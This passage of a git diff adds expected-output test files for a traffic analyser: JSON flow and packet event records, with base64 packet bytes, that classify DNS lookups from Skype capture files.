+00455{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"skype-conference-call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1501061916,"pkt_ts_usec":808709,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"xCwDBkn+XEl5dU5qCABFAAA\/RToAAG4RtFhoLigxwKgCFOziwIIAKwMLj84ABAAAA+gZZ7Ud7jiCwNl1ozeAAAADAWGz1p37DOHYDPQ="} +00583{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"skype-conference-call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1501061916,"pkt_ts_usec":808770,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"xCwDBkn+XEl5dU5qCABFAACbRTsAAG4Rs\/toLigxwKgCFOziwIIAh3g4gMkABgAAA+kozqPuZhFQtvXYhXLU9laq6VpMsxyF5TyhbvlCVt7zAQFZOlRbxtk69tkjpENIlvzMKACC+zjGaufaaX4NQvZmRVnu7CWMI45MVTTEiJyIi0Y0uEFenTy\/eoe7G29X6WGy1lhMaBQE7oAAAAsBKpMsVI2YWnKXTg=="} +00585{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"skype-conference-call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1501061916,"pkt_ts_usec":808981,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"xCwDBkn+XEl5dU5qCABFAACbRTwAAG4Rs\/poLigxwKgCFOziwIIAh7GygMkABgAABE31YJhxpeEStx\/Non2Hw9ODhjn1nPI6twAa6v4TPbXALXJS4WDhGnHiGs7M0q1LV5JIhmLN19a4UZ2oNcceD7gcC6\/hlfHMoWziriN+88lO8+6FVpNUywPwW580clvLUe3t1RqG\/Q2pUoAAAAwB9dds5qvBKmJN+A=="} +00585{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"skype-conference-call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1501061916,"pkt_ts_usec":809040,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"xCwDBkn+XEl5dU5qCABFAACbRT0AAG4Rs\/loLigxwKgCFOziwIIAh3lxgMkABgAABLEYhveI+TJqXoNflKzETGTrRbw2whOI8HHGZ9H1FnMJe5bOVFI65E6c22uJfv\/qd5toD\/qg2AhULgiZ0dL4yqWJoA7uey4F0+\/ntXNU1VN2Qkq5FFOEjp3tzTNRRgKcJLBlUIvR1ZSm7IAAAA0B0DttNZRbKmPtmw=="} diff --git a/test/results/skype.pcap.out b/test/results/skype.pcap.out new file mode 100644 index 000000000..7287e1ff8 --- /dev/null +++ b/test/results/skype.pcap.out @@ -0,0 +1,2671 @@ +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"skype.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1431969641947,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":49163,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969641,"pkt_ts_usec":947863,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAt5UAAEARP6TAqAEiwKgBAcALADUALIa2zTYBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00635{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"skype.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1431969641947,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":49163,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"b.config.skype.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"skype.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1431969641948,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":57406,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969641,"pkt_ts_usec":948058,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA5KYAAEAREpPAqAEiwKgBAeA+ADUALBXIHdcBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00636{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"skype.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1431969641948,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":57406,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"b.config.skype.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8,"source":"skype.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1431969642087,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":55711,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":87132,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDTB0AAEARqxnAqAEiwKgBAdmfADUAL7TEHKMBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAAQAB"} +00638{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8,"source":"skype.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1431969642087,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":55711,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"conn.skype.akadns.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"skype.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1431969642087,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":52850,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":87286,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDfx0AAEAReBnAqAEiwKgBAc5yADUAL8ad+vYBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAHAAB"} +00639{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9,"source":"skype.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1431969642087,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":52850,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"conn.skype.akadns.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"skype.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1431969642244,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":54396,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":244935,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7CqYAAEAR7JjAqAEiwKgBAdR8ADUAJ+nL8sABAAABAAAAAAAAA2FwaQVza3lwZQNjb20AAAEAAQ=="} +00631{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":10,"source":"skype.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1431969642244,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":54396,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"api.skype.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":11,"source":"skype.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1431969642247,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":65426,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":247578,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7ECYAAEAR5xjAqAEiwKgBAf+SADUAJwCOlegBAAABAAAAAAAAA2FwaQVza3lwZQNjb20AABwAAQ=="} +00632{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":11,"source":"skype.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1431969642247,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":65426,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"api.skype.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":12,"source":"skype.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1431969642318,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":64085,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":318375,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"0NQSxnP1PBXCt3IOCABFAABE3usAAEARGErAqAEiwKgBAfpVADUAMOQoL9MBAAABAAAAAAAABWU3NzY4AWIKYWthbWFpZWRnZQNuZXQAAAEAAQ=="} +00640{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":12,"source":"skype.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1431969642318,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":64085,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"e7768.b.akamaiedge.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"skype.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1431969642334,"flow_last_seen":0,"flow_tot_l4_data_len":67,"flow_min_l4_data_len":67,"flow_max_l4_data_len":67,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":58681,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00471{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":334003,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"0NQSxnP1PBXCt3IOCABFAABXAnAAAEAR9LLAqAEiwKgBAeU5ADUAQzJbSPEBAAABAAAAAAAADkRCM01TR1I1MDExNzA5B2dhdGV3YXkJbWVzc2VuZ2VyBGxpdmUDY29tAAAcAAE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":13,"source":"skype.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1431969642334,"flow_last_seen":0,"flow_tot_l4_data_len":67,"flow_min_l4_data_len":67,"flow_max_l4_data_len":67,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":58681,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"db3msgr5011709.gateway.messenger.live.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":14,"source":"skype.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1431969642336,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.33","src_port":50026,"dst_port":40002,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":336869,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA5NNAAEAGc8HAqAEiQTffIcNqnEKAlL6TAAAAALAC\/\/\/spQAAAgQFtAEDAwUBAQgKPiKLPAAAAAAEAgAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":15,"source":"skype.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1431969642337,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":49793,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":337189,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+t\/gAAEARP0PAqAEiwKgBAcKBADUAKu5ghe0BAAABAAAAAAAABGRzbjQBZAVza3lwZQNuZXQAAAEAAQ=="} +00635{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":15,"source":"skype.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1431969642337,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":49793,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"dsn4.d.skype.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":16,"source":"skype.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1431969642337,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":65045,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":337316,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+EyEAAEAR5BrAqAEiwKgBAf4VADUAKsDYd8YBAAABAAAAAAAABGRzbjQBZAVza3lwZQNuZXQAABwAAQ=="} +00636{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":16,"source":"skype.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1431969642337,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":65045,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"dsn4.d.skype.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00465{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":376469,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"PBXCt3IO0NQSxnP1CABFAABUAABAAEARtyXAqAEBwKgBIgA1+lUAQEJvL9OBgAABAAEAAAAABWU3NzY4AWIKYWthbWFpZWRnZQNuZXQAAAEAAcAMAAEAAQAAAAQABBffSSI="} +00666{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":17,"source":"skype.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":2,"flow_first_seen":1431969642318,"flow_last_seen":1431969642376,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":48,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":64085,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"e7768.b.akamaiedge.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"23.223.73.34"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":18,"source":"skype.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1431969642376,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"23.223.73.34","src_port":50027,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":376823,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAw0tAAEAGVKHAqAEiF99JIsNrAbvkkjeSAAAAALAC\/\/9pYAAAAgQFtAEDAwUBAQgKPiKLYwAAAAAEAgAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":19,"source":"skype.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1431969642398,"flow_last_seen":0,"flow_tot_l4_data_len":54,"flow_min_l4_data_len":54,"flow_max_l4_data_len":54,"flow_avg_l4_data_len":54,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":49990,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":398350,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKxdsAAEARMVTAqAEiwKgBAcNGADUANrH\/diQBAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDYBcgVza3lwZQNuZXQAAAEAAQ=="} +00647{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":19,"source":"skype.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1431969642398,"flow_last_seen":0,"flow_tot_l4_data_len":54,"flow_min_l4_data_len":54,"flow_max_l4_data_len":54,"flow_avg_l4_data_len":54,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":49990,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"335.0.7.7.3.rst6.r.skype.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":20,"source":"skype.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1431969642398,"flow_last_seen":0,"flow_tot_l4_data_len":54,"flow_min_l4_data_len":54,"flow_max_l4_data_len":54,"flow_avg_l4_data_len":54,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":57288,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":398483,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKPqUAAEARuIrAqAEiwKgBAd\/IADUANro4UU4BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDYBcgVza3lwZQNuZXQAABwAAQ=="} +00648{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":20,"source":"skype.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1431969642398,"flow_last_seen":0,"flow_tot_l4_data_len":54,"flow_min_l4_data_len":54,"flow_max_l4_data_len":54,"flow_avg_l4_data_len":54,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":57288,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"335.0.7.7.3.rst6.r.skype.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} 